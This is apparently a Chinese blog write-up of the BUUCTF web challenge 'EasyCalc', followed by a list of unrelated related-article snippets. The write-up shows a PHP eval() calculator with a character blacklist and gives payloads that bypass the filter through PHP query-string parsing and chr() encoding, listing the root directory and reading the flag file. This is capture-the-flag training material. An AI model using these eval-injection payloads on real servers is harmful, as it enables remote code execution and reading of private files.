BUUCTF-web刷题篇(8)
17.EasyCalcS
查看源码，发现有段代码有php文件，即calc.php
经过代码审计之后应该要访问calc.php文件，打开后：
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>可以看出原页面通过js将表达式传给calc.php，同时calc.php对传入的参数进行了一些限制后使用eval函数输出结果。
我们尝试了提交非数字的字符报错，我们审计代码后，发现可能是num变量被waf过滤了；
通过查阅资料我们可知这里需要利用php的字符串解析特性。
PHP会将查询字符串（在URL或正文中）转换为内部$_GET等关联数组。
/？foo=bar会变成Array([foo]=>"bar")在这个过程中某些字符会被删除或用下划线代替
/?%20news[id%00=42会变成Array([news_id] => 42)尝试扫描下这个文件下的包含文件
? num=1;var_dump(scandir(chr(47)))得到以下结果：
1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }有一个名叫f1agg的文件，感觉像是flag文件，我们尝试打开
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))得到flag
相关文章：
)
BUUCTF-web刷题篇(8)
17.EasyCalcS 查看源码，发现有段代码有php文件，即calc.php 经过代码审计之后应该要访问calc.php文件，打开后： <?php error_reporting(0); if(!isset($_GET[num])){show_source(__FILE__); }else{$str $_GET[num];$blackli…...
AI SEO内容优化指南：如何打造AI平台青睐的高质量内容
AI SEO内容优化指南：如何打造AI平台青睐的高质量内容 在生成式AI平台（如DeepSeek、Kimi、豆包、腾讯元宝等）主导的搜索新时代，内容优化已成为企业抢占流量入口的核心策略。本文将从内容创作、分发到效果维护全链路，解…...
无需预对齐即可消除批次效应，东京大学团队开发深度学习框架STAIG，揭示肿瘤微环境中的详细基因信息
生物组织是由多种类型细胞构成的复杂网络，这些细胞通过特定的空间配置执行重要功能。近年来，10x Visium、Slide-seq、Stereo-seq 和 STARmap 等空间转录组学 (ST) 技术的进步，使得生物学家们能够在空间结构内绘制基因数据，从而各类…...
B2B2C多用户商城系统：打造新零售电商生态的创新解决方案
在当今数字化时代，电商行业正以前所未有的速度蓬勃发展，而新零售作为电商与传统零售的深度融合，正逐渐成为市场的新宠。为了满足这一变革带来的多元化需求，B2B2C多用户商城系统应运而生，为商家和消费者搭建了一个高效、…...
走向多模态AI之路（二）：多模态 AI 如何工作？
目录 前言一、跨模态对齐（Cross-modal Alignment）：AI 如何理解不同模态的关系二、多模态融合（Multimodal Fusion）：AI 如何整合不同模态的信息三、多模态生成（Multimodal Generation）…...
MCP 实战：实现server端，并在cline调用
本文动手实现一个简单的MCP服务端的编写，并通过MCP Server 实现成绩查询的调用。 一、配置环境 安装mcp和uv, mcp要求python版本 Python >3.10; pip install mcppip install uv 二、编写并启用服务端 # get_score.py from mcp.server.fastmcp import…...
与栈(Stack)：从基础到任务队列实战)
C#游戏开发【第18天】 | 深入理解队列(Queue)与栈(Stack)：从基础到任务队列实战
Langchain系列文章目录 01-玩转LangChain：从模型调用到Prompt模板与输出解析的完整指南 02-玩转 LangChain Memory 模块：四种记忆类型详解及应用场景全覆盖 03-全面掌握 LangChain：从核心链条构建到动态任务分配的实战指南 04-玩转 LangChai…...
2.5路径问题专题：LeetCode 64. 最小路径和
动态规划解决最小路径和问题 1. 题目链接 LeetCode 64. 最小路径和 2. 题目描述 给定一个包含非负整数的 m x n 网格 grid，从网格的左上角出发，每次只能向右或向下移动一步，最终到达右下角。要求找到一条路径，使得路径上的数字…...
)
办公设备管理系统(springboot+ssm+jsp+maven)
基于springboot的办公设备管理系统(springbootssmjspmaven) 系统功能主要有： 欢迎页账号管理 管理员账号管理系统账号添加密码修改 普通管理员管理 用户管理用户添加用户查询 资产类型管理资产信息管理资产档案管理资产报表...
蓝桥杯2024JavaB组的一道真题的解析
文章目录 1.问题描述2.问题描述3.思路分析4.代码分析 1.问题描述 这个是我很久之前写的一个题目，当时研究了这个题目好久，发布了一篇题解，后来很多人点赞，我都没有意识到这个问题的严重性，我甚至都在怀疑自己…...
数据库--SQL
SQL：Structured Query Language，结构化查询语言 SQL是用于管理关系型数据库并对其中的数据进行一系列操作（包括数据插入、查询、修改删除）的一种语言 分类：数据定义语言DDL、数据操纵语言DML、数据控制语言DCL、事务处…...
SQL Server：Log Shipping 说明
目录标题 SQL Server Log Shipping与Oracle归档日志备份对比分析一、SQL Server Log Shipping的日志截断机制二、Oracle归档日志备份对比三、关键配置对比表四、最佳实践建议 如何修改和查看SQL Server默认备份配置防止自动删除？一、查看现有备份配置二、修改备份配…...
Zephyr实时操作系统初步介绍
一、概述 Zephyr是由Linux基金会托管的开源实时操作系统（RTOS），专为资源受限的物联网设备设计。其核心特性包括模块化架构、跨平台兼容性、安全性优先以及丰富的连接协议支持。基于Apache 2.0协议，Zephyr允许商业和非商业用途的自…...
【大模型系列篇】大模型基建工程：基于 FastAPI 自动构建 SSE MCP 服务器 —— 进阶篇
🔥🔥🔥 上期 《大模型基建工程：基于 FastAPI 自动构建 SSE MCP 服务器》中我们使用fastapi-mcp自动挂载fastapi到mcp工具，通过源码分析和实践，我们发现每次sse请求又转到了内部fastapi RESTful api接口&…...
深度学习deeplearn3
# Jupyter Notebook魔法命令，用于在Notebook中内联显示图表 %matplotlib inline# 导入NumPy库，用于高效的数值计算 import numpy as np# 从matplotlib_inline库导入backend_inline模块，用于设置图表显示格式 from matplotlib_inline import b…...
（九）图形管线
一图说明问题 顶点数据->顶点着色器->细分着色器->几何着色器->光栅化->片元着色器->颜色混合 创建图形管线函数放在后面位置 void MyApplication::initVulkan() { createInstance(); createSurface(); pickPhysicalDevice(); createLogicalDevice(); cre…...
7-3 逆序的三位数
程序每次读入一个正3位数，然后输出按位逆序的数字。注意：当输入的数字含有结尾的0时，输出不应带有前导的0。比如输入700，输出应该是7。 输入格式： 每个测试是一个3位的正整数。 输出格式： 输出按位逆序…...
git从历史版本创建新分支或标签
git从某个历史版本创建标签 # 查看历史版本 git log git tag tag-v1.0 780e2a7fc714faf388ba71git从某个分支的指定历史版本中创建新分支 # 查看历史版本 git log # 从历史分支创建标签 git checkout -b new-branch 780e2a7fc714faf388ba71...
HTML 音频（Audio）学习笔记
一、HTML 音频概述 在 HTML 中，音频可以通过多种方式播放，但要确保音频在不同浏览器和设备上都能正常播放，需要掌握一些技巧。HTML5 引入了 <audio> 元素，为音频播放提供了一种标准方法，但在 HTML4 中ÿ…...
五种音频器件综合对比——《器件手册--音频器件》
目录 音频器件 简述 1. 扬声器（Speakers） 2. 麦克风（Microphones） 3. 放大器（Amplifiers） 4. 音频接口（Audio Interfaces） 5. 音频处理器（Audio Processors）…...
数据结构复习（单调栈，单调队列，KMP，manacher，tire，字符串哈希）
单调栈： 介绍： 单调栈用于解决"寻找每个元素左侧/右侧第一个比它小/大的元素"类问题。栈中元素保持单调性，时间复杂度O(n)。 维护一个严格递增栈。对于每个元素a[i]，不断弹出栈顶比a[i]大的元素，剩下的栈顶即…...
Linux 基础 IO)
(学习总结32)Linux 基础 IO
Linux 基础 IO 一、什么是 " 文件 "二、C 文件接口打开文件写文件读文件其它介绍 三、系统文件 I/O传递标志位系统接口写文件系统接口读文件部分系统调用接口介绍打开文件函数 open关闭文件函数 close写入文件函数 write读取文件函数 read 文件描述符 fdfd 0 & 1…...
操作系统（一）：概念及主流系统全分析
目录 一.操作系统是什么 二.操作系统的分类 2.1 按应用场景分类 2.2 按实时性分类 2.3 按内核架构分类 2.4 按用户与任务分类 三.主流操作系统比较 四.未来趋势 一.操作系统是什么 操作系统（Operating System, OS）是计算机系统的核心软件&#x…...
三、GPIO
一、GPIO简介 GPIO（General Purpose Input Output）通用输入输出口GPIO引脚电平：0V（低电平）~3.3V（高电平），部分引脚可容忍5V 容忍5V，即部分引脚输入5V的电压，…...
Ceph异地数据同步之-RBD异地同步复制（上）
#作者：闫乾苓 文章目录 前言基于快照的模式（Snapshot-based Mode）工作原理单向同步配置步骤单向同步复制测试双向同步配置步骤双向同步复制测试 前言 Ceph的RBD（RADOS Block Device）支持在两个Ceph集群之间进行异步镜…...
fastapi完全离线环境（无外网）的访问Swagger所做特殊处理
在互联网环境中，只要 启动FastAPI 服务运行在本地机器上，访问 http://localhost:8000/docs（Swagger UI）就可以访问到Swagger界面，但是在完全离线环境（无外网）下如何访问Swagger页面呢࿱…...
在网络中加入预训练的多层感知机（MLP）有什么作用？
在网络中加入预训练的多层感知机（MLP）通常是为了引入先验知识、提升特征表示能力或dropout，具体作用取决于MLP的设计和预训练任务。以下是常见的应用场景和优势： 1. 特征融合与迁移学习:预训练的MLP可以作为特征提取器࿰…...
3.2/Q2，GBD数据库最新文章解读
文章题目：Temporal trends in the burden of vertebral fractures caused by falls in China and globally from 1990 to 2021: a systematic analysis of the Global Burden of Disease Study 2021 DOI：10.1186/s13690-025-01500-y 中文标题：…...
机器学习的一百个概念（9）学习曲线
前言 本文隶属于专栏《机器学习的一百个概念》，该专栏为笔者原创，引用请注明来源，不足和错误之处请在评论区帮忙指出，谢谢！ 本专栏目录结构和参考文献请见[《机器学习的一百个概念》 ima 知识库 知识库广场搜索&…...
浅谈Tomcat数据源连接池
目录 为什么需要JDBC连接池 Tomcat JDBC Pool 相关参数 1. 基本配置 2. 连接池大小控制 3. 连接验证与测试 4. 空闲连接回收 5. 连接泄漏与超时 Tomcat JDBC Pool 源码分析（tomcat 8.5.3） DataSourceFactory DataSource ConnectionPool Pool…...
Techub 财报解读：Circle 冲刺 IPO，但收入增长难掩利润困局
作者：Techub 财报解读 撰文：Yangz，Techub News 4 月 1 日，Circle 向美国证券交易委员会（SEC）提交 S-1 文件，计划进行首次公开募股（IPO），股票代码为 CRCL&…...
C++中的链表操作
在C中，链表是一种常见的数据结构，它由一系列节点组成，每个节点包含数据部分和指向下一个节点的指针。C标准库（STL）中提供了std::list和std::forward_list两种链表实现，分别对应双向链表和单向链表。此外&am…...
Vue2 生命周期
文章目录 前言🔄 Vue2 生命周期流程（8个核心钩子）📝 代码中典型用法示例一、您的描述验证二、完整生命周期代码示例三、关键阶段行为说明🔍 常见问题 前言 提示：以下是本篇文章正文内容，下面案…...
2007-2022年 上市公司政府补助数据 -社科数据
上市公司政府补助数据（2007-2022年）-社科数据https://download.csdn.net/download/paofuluolijiang/90028547 https://download.csdn.net/download/paofuluolijiang/90028547 政府补助是指政府为支持企业发展，提供的资金或资源支持。对于上市…...
设计心得——状态机
一、状态机 在设计一些与硬件交互或者游戏等开发中，经常会听到状态机（State Machines）这个字眼，而在设计模式（GoF）中，又经常听到状态模式这个概念，它们之间有什么联系和不同呢&…...
python match case语法
学习路线：B站 普通的if判断 def if_traffic_light(color):if color red:return Stopelif color yellow:return Slow downelif color green:return Goelse:return Invalid colorprint(if_traffic_light(red)) # Output: Stop print(if_traffic_light(yellow)) …...
Lua中协程相关函数使用详解
目录 1. coroutine.create(f)2. coroutine.resume(co [, val1, ...])3. coroutine.yield([val1, ...])4. coroutine.status(co)5. coroutine.wrap(f)6. coroutine.running()7. coroutine.isyieldable()协程状态转换示例总结 Lua 中的协程（coroutine）提供…...
代码拟有感
最近的日子像被按了0.5倍速播放键。腱鞘炎让手腕转动时发出咯吱声，尾骨的钝痛让久坐变成酷刑，落枕的脖子和酸胀的手臂组成了“疼痛交响乐”——这些隐秘的、持续的身体抗议，让原本枯燥的代码练习变成了一场生理与意志的拉锯战。 我盯着屏幕苦…...
《实战AI智能体》MCP对Agent有哪些好处
首先MCP为Agent提供了标准化的方式来接入各种工具和数据源，无论是本地运行的工具，例如通过stdio服务器，还是远程托管的服务HTTP over SSE服务， Agent都可以通过统一的接口与它们进行交互，极大扩展了第三方工具库。 例如，在金融领域，Agent 可以接入股票分析的MCP工具。当…...
maptalks获取所有图层并把图层按照zIndex排序
maptalks获取所有图层并把图层按照zIndex排序 获取所有图层 通过调用 map.getLayers() 可以返回当前地图上所有的图层集合。此方法会返回一个数组形式的结果，其中包含了地图上的每一个图层层级对象。 图层属性中的 ZINDEX 每种图层类型（如矢量图层、…...
GUI-Guider 按钮按下 选项卡 右移动一个，到最右边停下
extern lv_ui guider_ui; // 在文件顶部添加// 在按钮事件中使用： lv_obj_t * tabview guider_ui.screen_tabview_1; // 替换为你的实际 TabView 名称 uint16_t current lv_tabview_get_tab_act(tabview); lv_tabview_set_act(tabview, current 1, LV_ANIM_ON); …...
让AI再次伟大-MCP-Client开发指南
👏作者简介：大家好，我是爱吃芝士的土豆倪，24届校招生Java选手，很高兴认识大家📕系列专栏：Spring原理、JUC原理、Kafka原理、分布式技术原理、数据库技术、JVM原理、AI应用🔥如果感觉…...
sql工具怎么选？
为什么大多数主流工具又贵又难用？ 有没有一款免费好用的sql工具？ 像大多人朋友常用的sql工具，应该都遇到过这种情况， 用着用着收到了来自品牌方的律师函， 或者处理数据经常卡死， 再或者不支持国产数据库…...
video标签播放mp4格式视频只有声音没有图像的问题
video标签播放mp4格式视频只有声音没有图像的问题 这是由于视频格式是hevc(H265)编码的，这种编码格式视频video播放有问题主要是由于以下两种原因导致的： 1、浏览器没有开启硬加速模式： 开启方法（以谷歌浏览器为例）&a…...
与VLOG无法打印)
问题解决：glog中的LOG(INFO)与VLOG无法打印
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)，由 李兆龙 确认，转载请注明版权。 文章目录 MotivationProcess glog版本为：https://github.com/google/glog/archive/…...
【第2月 day16】Matplotlib 散点图与柱状图
好的！以下是针对初学者的 Matplotlib 散点图与柱状图 学习内容，用简单易懂的语言和示例讲解： 一、散点图（Scatter Plot） 作用：展示两个变量之间的关系（如相关性、分布等）。 1. 核心…...
汽车 HMI 设计的发展趋势与设计要点
一、汽车HMI设计的发展历程与现状 汽车人机交互界面（HMI）设计经历了从简单到复杂、从单一到多元的演变过程。2012年以前，汽车HMI主要依赖物理按键进行操作，交互方式较为单一。随着特斯拉Model S的推出，触控屏逐渐成为…...
Vue 3 中按照某个字段将数组分成多个数组
方法一：使用 reduce 方法 const originalArray [{ id: 1, category: A, name: Item 1 },{ id: 2, category: B, name: Item 2 },{ id: 3, category: A, name: Item 3 },{ id: 4, category: C, name: Item 4 },{ id: 5, category: B, name: Item 5 }, ];const grou…...
06-Spring 中的事件驱动机制
Spring 中的事件驱动机制（ApplicationEvent 源码解析） 本小结主要总结Spring的事件，如果对于观察者模式比较熟悉的话，理解这个应该不难。 这块涉及的面试题相对简单，主要还是以日常使用为主。 另外在Spring的源码中也运…...
Python学习笔记（8）关于列表内置函数和多维列表
列表访问计数 索引直接访问 index()#获得首次出现指定元素的索引 index(value,[start,[end]] #控制搜索索引范围 counr()#获得指定元素在列表中出现的次数 len()#返回列表长度 成员资格判断 incount()返回0，代表不存在 列表切片 slice[起始偏移量 start:终止…...